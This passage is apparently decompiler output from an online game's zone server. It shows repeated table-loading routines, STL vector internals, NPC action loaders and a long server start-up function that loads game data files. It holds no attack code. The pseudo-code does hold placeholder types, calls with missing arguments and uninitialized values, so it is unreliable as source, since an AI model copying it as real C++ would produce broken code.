[bp-18h]@1 unsigned int v12; // [sp+40h] [bp-14h]@1 unsigned int cookie; // [sp+44h] [bp-10h]@13 int v14; // [sp+50h] [bp-4h]@1 v1 = Table::GetTableDir(); v12 = 15; v11 = 0; LOBYTE(acFn) = 0; std::basic_string_std::allocator>::assign( (std::basic_string,std::allocator > *)&strpath, v1, 0, 0xFFFFFFFFu); v14 = 0; v8 = 15; v7 = 0; LOBYTE(message) = 0; std::basic_string_std::allocator>::assign( (std::basic_string,std::allocator > *)&strError, "Fail to read : ", 0x10u); LOBYTE(v14) = 1; std::basic_string_std::allocator>::append( (std::basic_string,std::allocator > *)&strError, pkChar, strlen(pkChar)); std::basic_string_std::allocator>::append( (std::basic_string,std::allocator > *)&strpath, pkChar, strlen(pkChar)); v2 = (const char *)message; if ( v8 < 0x10 ) v2 = (const char *)&message; v3 = (const char *)acFn; if ( v12 < 0x10 ) v3 = (const char *)&acFn; if ( !ITableBase::Load(v3, 1) ) { AssertClass::ac_AssertFail(&shineassert, v2, 0); v4 = (char *)message; if ( v8 < 0x10 ) v4 = (char *)&message; ShineExit(v4); } if ( v8 >= 0x10 ) operator delete(message); v7 = 0; LOBYTE(message) = 0; v8 = 15; if ( v12 >= 0x10 ) operator delete(acFn); __security_check_cookie(cookie); } //----- (0053A900) -------------------------------------------------------- void __cdecl Table::Load(const char *pkChar) { std::basic_string,std::allocator > *v1; // eax@1 const char *v2; // esi@1 const char *v3; // eax@3 char *v4; // eax@6 char strError; // [sp+Ch] [bp-48h]@1 void *message; // [sp+10h] [bp-44h]@1 int v7; // [sp+20h] [bp-34h]@1 unsigned int v8; // [sp+24h] [bp-30h]@1 char strpath; // [sp+28h] [bp-2Ch]@1 void *acFn; // [sp+2Ch] [bp-28h]@1 int v11; // [sp+3Ch] [bp-18h]@1 unsigned int v12; // [sp+40h] [bp-14h]@1 unsigned int cookie; // [sp+44h] [bp-10h]@13 int v14; // [sp+50h] [bp-4h]@1 v1 = Table::GetTableDir(); v12 = 15; v11 = 0; LOBYTE(acFn) = 0; std::basic_string_std::allocator>::assign( (std::basic_string,std::allocator > *)&strpath, v1, 0, 0xFFFFFFFFu); v14 = 0; v8 = 15; v7 = 0; LOBYTE(message) = 0; std::basic_string_std::allocator>::assign( (std::basic_string,std::allocator > *)&strError, "Fail to read : ", 0x10u); LOBYTE(v14) = 1; std::basic_string_std::allocator>::append( (std::basic_string,std::allocator > *)&strError, pkChar, strlen(pkChar)); std::basic_string_std::allocator>::append( (std::basic_string,std::allocator > *)&strpath, pkChar, strlen(pkChar)); v2 = (const char *)message; if ( v8 < 0x10 ) v2 = (const char *)&message; v3 = (const char *)acFn; if ( v12 < 0x10 ) v3 = (const char *)&acFn; if ( !ITableBase::Load(v3, 1) ) { AssertClass::ac_AssertFail(&shineassert, v2, 0); v4 = (char *)message; if ( v8 < 0x10 ) v4 = (char *)&message; ShineExit(v4); } if ( v8 >= 0x10 ) operator delete(message); v7 = 0; LOBYTE(message) = 0; v8 = 15; if ( v12 >= 0x10 ) operator delete(acFn); __security_check_cookie(cookie); } //----- (0053AA60) -------------------------------------------------------- void __cdecl Table::Load(const char *pkChar) { std::basic_string,std::allocator > *v1; // eax@1 const char *v2; // esi@1 const char *v3; // eax@3 char *v4; // eax@6 char strError; // [sp+Ch] [bp-48h]@1 void *message; // [sp+10h] [bp-44h]@1 int v7; // [sp+20h] [bp-34h]@1 unsigned int v8; // [sp+24h] [bp-30h]@1 char strpath; // [sp+28h] [bp-2Ch]@1 void *acFn; // [sp+2Ch] [bp-28h]@1 int v11; // [sp+3Ch] [bp-18h]@1 unsigned int v12; // [sp+40h] [bp-14h]@1 unsigned int cookie; // [sp+44h] [bp-10h]@13 int v14; // [sp+50h] [bp-4h]@1 v1 = Table::GetTableDir(); v12 = 15; v11 = 0; LOBYTE(acFn) = 0; std::basic_string_std::allocator>::assign( (std::basic_string,std::allocator > *)&strpath, v1, 0, 0xFFFFFFFFu); v14 = 0; v8 = 15; v7 = 0; LOBYTE(message) = 0; std::basic_string_std::allocator>::assign( (std::basic_string,std::allocator > *)&strError, "Fail to read : ", 0x10u); LOBYTE(v14) = 1; std::basic_string_std::allocator>::append( (std::basic_string,std::allocator > *)&strError, pkChar, strlen(pkChar)); std::basic_string_std::allocator>::append( (std::basic_string,std::allocator > *)&strpath, pkChar, strlen(pkChar)); v2 = (const char *)message; if ( v8 < 0x10 ) v2 = (const char *)&message; v3 = (const char *)acFn; if ( v12 < 0x10 ) v3 = (const char *)&acFn; if ( !ITableBase::Load(v3, 1) ) { AssertClass::ac_AssertFail(&shineassert, v2, 0); v4 = (char *)message; if ( v8 < 0x10 ) v4 = (char *)&message; ShineExit(v4); } if ( v8 >= 0x10 ) operator delete(message); v7 = 0; LOBYTE(message) = 0; v8 = 15; if ( v12 >= 0x10 ) operator delete(acFn); __security_check_cookie(cookie); } //----- (0053ABC0) -------------------------------------------------------- void __cdecl Table::Load(const char *pkChar) { std::basic_string,std::allocator > *v1; // eax@1 const char *v2; // esi@1 const char *v3; // eax@3 char *v4; // eax@6 char strError; // [sp+Ch] [bp-48h]@1 void *message; // [sp+10h] [bp-44h]@1 int v7; // [sp+20h] [bp-34h]@1 unsigned int v8; // [sp+24h] [bp-30h]@1 char strpath; // [sp+28h] [bp-2Ch]@1 void *acFn; // [sp+2Ch] [bp-28h]@1 int v11; // [sp+3Ch] [bp-18h]@1 unsigned int v12; // [sp+40h] [bp-14h]@1 unsigned int cookie; // [sp+44h] [bp-10h]@13 int v14; // [sp+50h] [bp-4h]@1 v1 = Table::GetTableDir(); v12 = 15; v11 = 0; LOBYTE(acFn) = 0; std::basic_string_std::allocator>::assign( (std::basic_string,std::allocator > *)&strpath, v1, 0, 0xFFFFFFFFu); v14 = 0; v8 = 15; v7 = 0; LOBYTE(message) = 0; std::basic_string_std::allocator>::assign( (std::basic_string,std::allocator > *)&strError, "Fail to read : ", 0x10u); LOBYTE(v14) = 1; std::basic_string_std::allocator>::append( (std::basic_string,std::allocator > *)&strError, pkChar, strlen(pkChar)); std::basic_string_std::allocator>::append( (std::basic_string,std::allocator > *)&strpath, pkChar, strlen(pkChar)); v2 = (const char *)message; if ( v8 < 0x10 ) v2 = (const char *)&message; v3 = (const char *)acFn; if ( v12 < 0x10 ) v3 = (const char *)&acFn; if ( !ITableBase::Load(v3, 1) ) { AssertClass::ac_AssertFail(&shineassert, v2, 0); v4 = (char *)message; if ( v8 < 0x10 ) v4 = (char *)&message; ShineExit(v4); } if ( v8 >= 0x10 ) operator delete(message); v7 = 0; LOBYTE(message) = 0; v8 = 15; if ( v12 >= 0x10 ) operator delete(acFn); __security_check_cookie(cookie); } //----- (0053AD20) -------------------------------------------------------- void __cdecl Table::Load(const char *pkChar) { std::basic_string,std::allocator > *v1; // eax@1 const char *v2; // esi@1 const char *v3; // eax@3 char *v4; // eax@6 char strError; // [sp+Ch] [bp-48h]@1 void *message; // [sp+10h] [bp-44h]@1 int v7; // [sp+20h] [bp-34h]@1 unsigned int v8; // [sp+24h] [bp-30h]@1 char strpath; // [sp+28h] [bp-2Ch]@1 void *acFn; // [sp+2Ch] [bp-28h]@1 int v11; // [sp+3Ch] [bp-18h]@1 unsigned int v12; // [sp+40h] [bp-14h]@1 unsigned int cookie; // [sp+44h] [bp-10h]@13 int v14; // [sp+50h] [bp-4h]@1 v1 = Table::GetTableDir(); v12 = 15; v11 = 0; LOBYTE(acFn) = 0; std::basic_string_std::allocator>::assign( (std::basic_string,std::allocator > *)&strpath, v1, 0, 0xFFFFFFFFu); v14 = 0; v8 = 15; v7 = 0; LOBYTE(message) = 0; std::basic_string_std::allocator>::assign( (std::basic_string,std::allocator > *)&strError, "Fail to read : ", 0x10u); LOBYTE(v14) = 1; std::basic_string_std::allocator>::append( (std::basic_string,std::allocator > *)&strError, pkChar, strlen(pkChar)); std::basic_string_std::allocator>::append( (std::basic_string,std::allocator > *)&strpath, pkChar, strlen(pkChar)); v2 = (const char *)message; if ( v8 < 0x10 ) v2 = (const char *)&message; v3 = (const char *)acFn; if ( v12 < 0x10 ) v3 = (const char *)&acFn; if ( !ITableBase::Load(v3, 1) ) { AssertClass::ac_AssertFail(&shineassert, v2, 0); v4 = (char *)message; if ( v8 < 0x10 ) v4 = (char *)&message; ShineExit(v4); } if ( v8 >= 0x10 ) operator delete(message); v7 = 0; LOBYTE(message) = 0; v8 = 15; if ( v12 >= 0x10 ) operator delete(acFn); __security_check_cookie(cookie); } //----- (0053AE80) -------------------------------------------------------- void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, NPCAction::ICondition *const *_Val) { std::vector > *v4; // esi@1 NPCAction::ICondition **v5; // edx@1 signed int v6; // eax@2 unsigned int v7; // edi@4 signed int v8; // ecx@6 int v9; // ecx@11 int v10; // eax@15 int v11; // ecx@18 int v12; // eax@22 void *v13; // eax@25 unsigned int v14; // ebp@25 int v15; // eax@25 #331 **v16; // eax@25 NPCAction::ICondition **v17; // eax@25 int v18; // ecx@26 int v19; // edi@28 int v20; // ebp@31 std::vector >::iterator v21; // ebx@31 int v22; // edx@31 unsigned int v23; // eax@31 int v24; // ecx@32 #331 **v25; // edi@33 void *_Newvec; // [sp+0h] [bp-4h]@25 unsigned int _Wherea; // [sp+8h] [bp+4h]@31 int _Counta; // [sp+Ch] [bp+8h]@25 v4 = this; v5 = this->_Myfirst; _Val = (NPCAction::ICondition *const *)*_Val; if ( v5 ) v6 = this->_Myend - v5; else v6 = 0; v7 = _Count; if ( _Count ) { if ( v5 ) v8 = this->_Mylast - v5; else v8 = 0; if ( 1073741823 - v8 < _Count ) std::vector>::_Xlen(v4); if ( v5 ) v9 = v4->_Mylast - v5; else v9 = 0; if ( v6 >= _Count + v9 ) { v20 = (int)v4->_Mylast; v21 = _Where; v22 = (signed int)((char *)v4->_Mylast - *(_DWORD *)&_Where) >> 2; v23 = 4 * _Count; _Wherea = 4 * _Count; if ( v22 >= _Count ) { v25 = (#331 **)(v20 - v23); v4->_Mylast = (NPCAction::ICondition **)std::vector>::_Ucopy( (char *)(v20 - v23), v20, (char *)v20); std::copy_backward( *(#331 ***)&v21, v25, (#331 **)v20); std::fill( *(std::list,std::allocator > >::iterator **)&v21, (std::list,std::allocator > >::iterator *)(*(_DWORD *)&v21 + _Wherea), (std::list,std::allocator > >::iterator *)&_Val); } else { std::vector>::_Ucopy( *(char **)&v21, v20, (char *)(*(_DWORD *)&v21 + v23)); std::vector>::_Ufill( (std::vector > *)v4, (#331 **)v4->_Mylast, _Count - ((signed int)((char *)v4->_Mylast - *(_DWORD *)&v21) >> 2)); v24 = (int)&v4->_Mylast[_Wherea / 4]; v4->_Mylast = (NPCAction::ICondition **)v24; std::fill( *(std::list,std::allocator > >::iterator **)&v21, (std::list,std::allocator > >::iterator *)(v24 - _Wherea), (std::list,std::allocator > >::iterator *)&_Val); } } else { if ( 1073741823 - ((unsigned int)v6 >> 1) >= v6 ) v10 = ((unsigned int)v6 >> 1) + v6; else v10 = 0; if ( v5 ) v11 = v4->_Mylast - v5; else v11 = 0; if ( v10 < _Count + v11 ) { if ( v5 ) v12 = v4->_Mylast - v5; else v12 = 0; v10 = _Count + v12; } _Counta = 4 * v10; v13 = operator new(4 * v10); v14 = 4 * ((signed int)(*(_DWORD *)&_Where - (unsigned int)v4->_Myfirst) >> 2); _Newvec = v13; memmove((char *)v13, (char *)v4->_Myfirst, v14); v16 = std::vector>::_Ufill( (std::vector > *)v4, (#331 **)(v14 + v15), v7); memmove((char *)v16, *(char **)&_Where, 4 * ((signed int)((char *)v4->_Mylast - *(_DWORD *)&_Where) >> 2)); v17 = v4->_Myfirst; if ( v17 ) v18 = v4->_Mylast - v17; else v18 = 0; v19 = v18 + v7; if ( v17 ) operator delete(v4->_Myfirst); v4->_Myend = (NPCAction::ICondition **)((char *)_Newvec + _Counta); v4->_Mylast = (NPCAction::ICondition **)((char *)_Newvec + 4 * v19); v4->_Myfirst = (NPCAction::ICondition **)_Newvec; } } } //----- (0053B060) -------------------------------------------------------- void __thiscall std::vector>::resize(std::vector > *this, unsigned int _Newsize, NPCAction::ICondition *_Val) { std::vector > *v3; // esi@1 NPCAction::ICondition **v4; // edx@1 signed int v5; // eax@2 signed int v6; // eax@6 NPCAction::ICondition **v7; // eax@10 char *v8; // edx@11 NPCAction::ICondition **v9; // eax@12 v3 = this; v4 = this->_Myfirst; if ( v4 ) v5 = this->_Mylast - v4; else v5 = 0; if ( v5 >= _Newsize ) { if ( v4 ) { v7 = this->_Mylast; if ( _Newsize < this->_Mylast - v4 ) { v8 = (char *)&v4[_Newsize]; if ( (NPCAction::ICondition **)v8 != v7 ) { memmove(v8, (char *)v7, 0); v3->_Mylast = v9; } } } } else { if ( v4 ) v6 = this->_Mylast - v4; else v6 = 0; std::vector>::_Insert_n( this, (std::vector >::iterator)this->_Mylast, _Newsize - v6, &_Val); } } //----- (0053B0F0) -------------------------------------------------------- void __thiscall NPCAction::Manager::generate_n(NPCAction::Manager *this, unsigned int n, NPCAction::CondGen_OptionReader generator) { NPCAction::Manager *v3; // edi@1 NPCAction::ICondition **v4; // ebx@1 NPCAction::ICondition **i; // esi@1 unsigned int v6; // ebx@5 NPCAction::ICondition **v7; // esi@5 NPCAction::CondGen_OptionReader thisa; // [sp+Ch] [bp-8h]@5 v3 = this; v4 = this->container_._Mylast; for ( i = this->container_._Myfirst; i != v4; ++i ) { if ( *i ) ((void (__stdcall *)(_DWORD))(*i)->baseclass_0.vfptr->__vecDelDtor)(1); } v6 = n; std::vector>::resize(&v3->container_, n, 0); v7 = v3->container_._Myfirst; thisa.optionReader_ = generator.optionReader_; thisa.currentRow_ = generator.currentRow_; if ( n ) { do { *v7 = NPCAction::CondGen_OptionReader::operator__(&thisa); ++v7; --v6; } while ( v6 ); } } //----- (0053B160) -------------------------------------------------------- void __thiscall NPCAction::Manager::generate_n(NPCAction::Manager *this, unsigned int n, NPCAction::ActionGen_OptionReader generator) { NPCAction::Manager *v3; // edi@1 NPCAction::IAction **v4; // ebx@1 NPCAction::IAction **i; // esi@1 unsigned int v6; // ebx@5 NPCAction::IAction **v7; // esi@5 NPCAction::ActionGen_OptionReader thisa; // [sp+Ch] [bp-8h]@5 v3 = this; v4 = this->container_._Mylast; for ( i = this->container_._Myfirst; i != v4; ++i ) { if ( *i ) ((void (__stdcall *)(_DWORD))(*i)->vfptr->__vecDelDtor)(1); } v6 = n; std::vector>::resize( (std::vector > *)v3, n, 0); v7 = v3->container_._Myfirst; thisa.optionReader_ = generator.optionReader_; thisa.currentRow_ = generator.currentRow_; if ( n ) { do { *v7 = NPCAction::ActionGen_OptionReader::operator__(&thisa); ++v7; --v6; } while ( v6 ); } } //----- (0053B1D0) -------------------------------------------------------- bool __cdecl NPCAction::Util::loadFromOptionReader>(NPCAction::Manager *destManager, const char *fileName) { NPCAction::CondGen_OptionReader v2; // ST04_8@2 unsigned int v3; // eax@2 bool result; // al@4 NPCAction::CondGen_OptionReader generator; // [sp+0h] [bp-1086Ch]@2 OptionReader optionReader; // [sp+8h] [bp-10864h]@1 unsigned int cookie; // [sp+1085Ch] [bp-10h]@4 int v8; // [sp+10868h] [bp-4h]@1 OptionReader::OptionReader(&optionReader); v8 = 0; if ( OptionReader::or_Read(&optionReader, (char *)fileName) ) { NPCAction::ActionGen_OptionReader::ActionGen_OptionReader( (NPCAction::ActionGen_OptionReader *)&generator, &optionReader); v2 = generator; v3 = NPCAction::CondGen_OptionReader::size(&generator); NPCAction::Manager::generate_n( destManager, v3, v2); v8 = -1; OptionReader::_OptionReader(&optionReader); } else { v8 = -1; OptionReader::_OptionReader(&optionReader); } __security_check_cookie(cookie); return result; } //----- (0053B2A0) -------------------------------------------------------- bool __cdecl NPCAction::Util::loadFromOptionReader>(NPCAction::Manager *destManager, const char *fileName) { NPCAction::ActionGen_OptionReader v2; // ST04_8@2 unsigned int v3; // eax@2 bool result; // al@4 NPCAction::ActionGen_OptionReader generator; // [sp+0h] [bp-1086Ch]@2 OptionReader optionReader; // [sp+8h] [bp-10864h]@1 unsigned int cookie; // [sp+1085Ch] [bp-10h]@4 int v8; // [sp+10868h] [bp-4h]@1 OptionReader::OptionReader(&optionReader); v8 = 0; if ( OptionReader::or_Read(&optionReader, (char *)fileName) ) { NPCAction::ActionGen_OptionReader::ActionGen_OptionReader(&generator, &optionReader); v2 = generator; v3 = NPCAction::ActionGen_OptionReader::size(&generator); NPCAction::Manager::generate_n( destManager, v3, v2); v8 = -1; OptionReader::_OptionReader(&optionReader); } else { v8 = -1; OptionReader::_OptionReader(&optionReader); } __security_check_cookie(cookie); return result; } //----- (0053B370) -------------------------------------------------------- void __thiscall ZoneServer::zs_start_old(ZoneServer *this) { ZoneServer *v1; // edi@1 _iobuf *v2; // eax@1 _iobuf *v3; // eax@1 _iobuf *v4; // esi@1 _iobuf *v5; // esi@1 Name4 *v6; // esi@1 const char *v7; // eax@1 _iobuf *v8; // edi@4 _iobuf *v9; // edi@4 _iobuf *v10; // edi@4 _iobuf *v11; // edi@4 _iobuf *v12; // edi@4 _iobuf *v13; // edi@4 _iobuf *v14; // edi@4 _iobuf *v15; // edi@4 _iobuf *v16; // edi@4 _iobuf *v17; // edi@4 _iobuf *v18; // edi@4 _iobuf *v19; // edi@4 _iobuf *v20; // edi@4 _iobuf *v21; // edi@4 _iobuf *v22; // edi@4 _iobuf *v23; // edi@4 _iobuf *v24; // edi@4 _iobuf *v25; // edi@4 _iobuf *v26; // edi@4 _iobuf *v27; // edi@4 _iobuf *v28; // edi@4 SkillDataBox::SkillDataIndex *v29; // eax@4 _iobuf *v30; // edi@4 SkillDataBox::SkillDataIndex *v31; // eax@4 _iobuf *v32; // edi@4 SkillDataBox::SkillDataIndex *v33; // eax@4 _iobuf *v34; // edi@4 _iobuf *v35; // edi@4 _iobuf *v36; // edi@4 _iobuf *v37; // edi@4 SkillDataBox::SkillDataIndex *v38; // eax@4 _iobuf *v39; // edi@4 _iobuf *v40; // esi@4 _iobuf *v41; // esi@4 _iobuf *v42; // esi@4 _iobuf *v43; // esi@4 CServerInfo::MY_SERVER *v44; // eax@4 _iobuf *v45; // esi@4 _iobuf *v46; // esi@7 _iobuf *v47; // esi@10 _iobuf *v48; // esi@13 _iobuf *v49; // esi@16 _iobuf *v50; // esi@19 int v51; // esi@19 _iobuf *v52; // esi@22 unsigned __int16 v53; // ax@23 int v54; // esi@25 int v55; // edi@25 ORTable *v56; // ecx@27 DiceTaiSai *v57; // eax@29 CQuest *v58; // eax@29 _iobuf *v59; // esi@33 _iobuf *v60; // esi@36 _iobuf *v61; // esi@36 _iobuf *v62; // esi@39 _iobuf *v63; // esi@42 void *v64; // edi@45 DividendRate v65; // esi@48 _iobuf *v66; // esi@53 _iobuf *v67; // esi@56 _iobuf *v68; // esi@56 _iobuf *v69; // esi@56 _iobuf *v70; // esi@56 char *v71; // esi@56 unsigned int v72; // edi@59 AbnormalStateContainer::AbstateElementInObject *v73; // esi@60 AbnormalStateContainer::AbstateElementInObject *v74; // esi@66 _iobuf *v75; // esi@71 _iobuf *v76; // esi@71 _iobuf *v77; // esi@71 char buffer[100]; // [sp+10h] [bp-74h]@1 unsigned int v79; // [sp+74h] [bp-10h]@71 int v80; // [sp+80h] [bp-4h]@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ZoneServer::zs_start_old"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ZoneServer::zs_start_old"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v80 = 0; v2 = fopen("Message.txt", "w"); fclose(v2); v3 = fopen("MapLoad.txt", "w"); fclose(v3); v4 = fopen("Message.txt", "a"); fprintf(v4, "%s\n"); fclose(v4); sprintf(buffer, "Player Buffer size : %d"); v5 = fopen("Message.txt", "a"); fprintf(v5, "%s\n"); fclose(v5); Table::SetTableDir("../9Data/Shine/"); ScenarioBookShelf::sbs_LoadScripts(&scenarioshelf); mobhatchery = (MobHatchery *)&mobhat; ShineObjectHandleUnion::sohu_Initialize(); EraseOldLogList("Assert"); EraseLog(); protocolstore(&optsprotofunc); protocolstore(&zlsprotofunc); protocolstore(&gdsprotofunc); protocolstore(&glsprotofunc); protocolstore(&shineprotofunc); protocolstore(&wldmanprotofunc); v6 = (Name4 *)&v1->gap40[1276]; HitMeList::hml_Load((Name4 *)&v1->gap40[1276]); ShineScript::ss_Load(&shinescriptetc, (Name4 *)&v1->gap40[1276], "ETC"); ShineScript::ss_Load(&shinescriptmenusting, (Name4 *)&v1->gap40[1276], "MenuString"); v7 = ShineScript::ss_String(&shinescriptetc, "DeamonDead"); if ( !*v7 ) { AssertClass::ac_AssertFail(&shineassert, "ZoneServer::zs_start_old : DeamonDead needed", *v7 != 0); ShineExit("ZoneServer::zs_start_old"); } KQScriptManager::kqsm_Load(&kqscriptmanager, (Name4 *)&v1->gap40[1276]); v8 = fopen("Message.txt", "a"); fprintf(v8, "%s\n"); fclose(v8); MobResistTable::mrt_Load(&mobresisttable); v9 = fopen("Message.txt", "a"); fprintf(v9, "%s\n"); fclose(v9); MobDataBox::mdb_Load(&mobdatabox); MobChat::MobChatManager::mcm_Load(&mobchatman, v6); MapClusterManager::ClusterManager::cm_Init(&mapclustermanager); TownPortalData::tpd_Load(&townportaldata); ItemOptionsData::iod_Load(&itemoptiondata); RewardData::rd_Load(&rewarddata); DropLocationManager::dlm_Load(&droplocman); v10 = fopen("Message.txt", "a"); fprintf(v10, "%s\n"); fclose(v10); MapDataBox::mdb_Load(&mapdatabox); v11 = fopen("Message.txt", "a"); fprintf(v11, "%s\n"); fclose(v11); ItemDataBox::idb_Load(&itemdatabox); ItemDropFromMob::DropIndexCluster::dic_Load(&dropindexcluster, v6); RecallPointTable::rpt_Load((RecallPointTable *)&recallpoint, v6); v12 = fopen("Message.txt", "a"); fprintf(v12, "%s\n"); fclose(v12); ItemGroupClassifier::igc_Load(&itemgroupclassifier); v13 = fopen("Message.txt", "a"); fprintf(v13, "%s\n"); fclose(v13); AbnormalStateDictionary::SubAbState::sas_Load(&dic_subabstate); v14 = fopen("Message.txt", "a"); fprintf(v14, "%s\n"); fclose(v14); AbnormalStateDictionary::AbState::as_Load(&dic_abstate); v15 = fopen("Message.txt", "a"); fprintf(v15, "%s\n"); fclose(v15); ItemRandomOption::RandomOptionTable::rot_Load(&itemrandomoptiontable, v6); SubLayer::SubLayerInteractLoader::slil_Load(&sublayerinteract, v6); DamageByAngle::DamageTable::dt_Load(&damagebyangle_Mob, v6, "DamageByAngle_Mob"); DamageByAngle::DamageTable::dt_Load(&damagebyangle_Ply, v6, "DamageByAngle_Chr"); ShineCommonParameter::scp_Load(&shineparam, v6); CharClassManager::ccm_Load(&charclassmanager, v6); NPCManager::nm_Load(&npcmanager, v6); Table::Load("GuildTournamentScore.shn"); Table::Load("GuildTournamentLvGap.shn"); Table::Load("GuildTournamentOccupy.shn"); Table::Load("GuildTournamentSkill.shn"); Table::Load("GuildTournamentMasterBuff.shn"); Table::Load("GTIGetRate.shn"); Table::Load("GTIGetRateGap.shn"); Table::Load("GTIServer.shn"); Table::Load("GTIBreedSubject.shn"); Table::Load("GTWinScore.shn"); v16 = fopen("Message.txt", "a"); fprintf(v16, "%s\n"); fclose(v16); FieldContainer::fc_Load((FieldContainer *)&fieldlist, v6); v17 = fopen("Message.txt", "a"); fprintf(v17, "%s\n"); fclose(v17); SkillDataBox::sdb_Load(&skilldatabox, v6); v18 = fopen("Message.txt", "a"); fprintf(v18, "%s\n"); fclose(v18); PassiveDataBox::pdb_Load((PassiveDataBox *)&passivedatabox, v6); v19 = fopen("Message.txt", "a"); fprintf(v19, "%s\n"); fclose(v19); UpgradeDataBox::udb_Load(&upgradedatabox, v6); v20 = fopen("Message.txt", "a"); fprintf(v20, "%s\n"); fclose(v20); MerchantCityData::mcd_Load(&merchantcity); v21 = fopen("Message.txt", "a"); fprintf(v21, "%s\n"); fclose(v21); GatherProduce::GatherTable::gt_Load(&gathertable); v22 = fopen("Message.txt", "a"); fprintf(v22, "%s\n"); fclose(v22); GatherProduce::RecipeBook::rb_Load(&recipebook); v23 = fopen("Message.txt", "a"); fprintf(v23, "%s\n"); fclose(v23); UseEffect::UsedItemEffect::uie_Load(&useditemeffect); v24 = fopen("Message.txt", "a"); fprintf(v24, "%s\n"); fclose(v24); KQRewardDataBox::kqrdb_Load(&kqreward, v6); v25 = fopen("Message.txt", "a"); fprintf(v25, "%s\n"); fclose(v25); ItemUseFunction::iuf_Load(&itemusefunction); v26 = fopen("Message.txt", "a"); fprintf(v26, "%s\n"); fclose(v26); MagicContainer::mc_Load((MagicContainer *)&magiccontainer); v27 = fopen("Message.txt", "a"); fprintf(v27, "%s\n"); fclose(v27); MobAttackSequence::mas_Load(&mobattseq); v28 = fopen("Message.txt", "a"); fprintf(v28, "%s\n"); fclose(v28); v29 = UseEffect::UsedItemEffect::uie_UseSkillID(&useditemeffect, "UseSkill"); ChargedItemEffectDataBox::cideb_Load( &chargedbuffdatabox, "../9Data/Shine/ChargedEffect.shn", &ui_chargedbuff, v29); v30 = fopen("Message.txt", "a"); fprintf(v30, "%s\n"); fclose(v30); v31 = UseEffect::UsedItemEffect::uie_UseSkillID(&useditemeffect, "UseSkill"); ChargedItemEffectDataBox::cideb_Load(&minihousedatabox, "../9Data/Shine/MiniHouse.shn", &ui_minihouse, v31); v32 = fopen("Message.txt", "a"); fprintf(v32, "%s\n"); fclose(v32); v33 = UseEffect::UsedItemEffect::uie_UseSkillID(&useditemeffect, "UseSkill"); ChargedItemEffectDataBox::cideb_Load( &minihousefurnituredatabox, "../9Data/Shine/MiniHouseFurniture.shn", &ui_minihousefurniture, v33); v34 = fopen("Message.txt", "a"); fprintf(v34, "%s\n"); fclose(v34); MiniHouseObjAniDataBox::mhoadb_Load(&minihouseobjanidatabox); v35 = fopen("Message.txt", "a"); fprintf(v35, "%s\n"); fclose(v35); KQRegenTable::kqrt_Load(&kqregentable); v36 = fopen("Message.txt", "a"); fprintf(v36, "%s\n"); fclose(v36); RidePetDataBox::rpdb_Load((RidePetDataBox *)&ridedatabox); v37 = fopen("Message.txt", "a"); fprintf(v37, "%s\n"); fclose(v37); v38 = UseEffect::UsedItemEffect::uie_UseSkillID(&useditemeffect, "UseRide"); PacketContainer::pcb_SetSocketSession((ORField *)&ui_ride, (ORColumnHeader *)v38); v39 = fopen("Message.txt", "a"); fprintf(v39, "%s\n"); fclose(v39); MobRoaming::MobRoamingSet::mrs_Load(&roamingpaths, v6); v40 = fopen("Message.txt", "a"); fprintf(v40, "%s\n"); fclose(v40); MiscDataTable::mdt_Load(&miscdatatable); v41 = fopen("Message.txt", "a"); fprintf(v41, "%s\n"); fclose(v41); SetItemData::SetItemClassifier::sic_Load(&setitemclassifier); v42 = fopen("Message.txt", "a"); fprintf(v42, "%s\n"); fclose(v42); ItemMall::im_Load(&itemmall); v43 = fopen("Message.txt", "a"); fprintf(v43, "%s\n"); fclose(v43); v44 = ZoneServer::zs_worlddata(&zoneserver); ZoneIPContainer::zipc_SetNextIP(&zipc, v44->nZoneNo); v45 = fopen("Message.txt", "a"); fprintf(v45, "%s\n"); fclose(v45); if ( !CCharacterTitleData::Read(&gCharacterTitleData, "../9Data/Shine/CharacterTitleData.shn", 0x759u, 0xA4u) ) { AssertClass::ac_AssertFail(&shineassert, "Fail to read CharacterTitleData.shn", 0); ShineExit("ZoneServer::zs_start_old"); } v46 = fopen("Message.txt", "a"); fprintf(v46, "%s\n"); fclose(v46); if ( !CCharacterTitleData::Read( (CCharacterTitleData *)&gAnnounceSystem, "../9Data/Shine/AnnounceData.shn", 0x23Bu, 0x108u) ) { AssertClass::ac_AssertFail(&shineassert, "Fail to read AnnounceData.shn", 0); ShineExit("ZoneServer::zs_start_old"); } v47 = fopen("Message.txt", "a"); fprintf(v47, "%s\n"); fclose(v47); if ( !CDataReader::Read(&gClassName, "../9Data/Shine/ClassName.shn") ) { AssertClass::ac_AssertFail(&shineassert, "Fail to read ClassName.shn", 0); ShineExit("ZoneServer::zs_start_old"); } v48 = fopen("Message.txt", "a"); fprintf(v48, "%s\n"); fclose(v48); if ( !CDataReader::Read(&gItemUpgrade, "../9Data/Shine/ItemUpgrade.shn", 0x51u, 0xEu) ) { AssertClass::ac_AssertFail(&shineassert, "Fail to read ItemUpgrade.shn", 0); ShineExit("ZoneServer::zs_start_old"); } Table::Load("AccUpGradeInfo.shn"); Table::Load("AccUpGrade.shn"); Table::Load("DamageLvGapPVE.shn"); Table::Load("DamageLvGapEVP.shn"); Table::Load("DamageLvGapPVP.shn"); Table::Load("MysteryVaultServer.shn"); v49 = fopen("Message.txt", "a"); fprintf(v49, "%s\n"); fclose(v49); if ( !CDataReader::Read(&gItemDismantle, "../9Data/Shine/ItemDismantle.shn", 0x253Au, 0x66u) ) { AssertClass::ac_AssertFail(&shineassert, "Fail to read ItemDismantle.shn", 0); ShineExit("ZoneServer::zs_start_old"); } v50 = fopen("Message.txt", "a"); fprintf(v50, "%s\n"); fclose(v50); v51 = gQuestData.m_ReadError; if ( !CQuestData::Read(&gQuestData, "../9Data/Shine/QuestData.shn", 0) ) { AssertClass::ac_AssertFail(&shineassert, "Fail to read Quest.shn Error Type", v51); ShineExit(0); } v52 = fopen("Message.txt", "a"); fprintf(v52, "%s\n"); fclose(v52); if ( gQuestData.m_pDataHead ) v53 = gQuestData.m_pDataHead->NumOfQuest; else v53 = 0; v54 = 0; v55 = v53; do { if ( (unsigned __int16)v54 < unk_1247FF04->l_MaxSize ) v56 = unk_1247FF04->l_Array[(unsigned __int16)v54].ls_Content; else v56 = 0; v57 = (DiceTaiSai *)(*(int 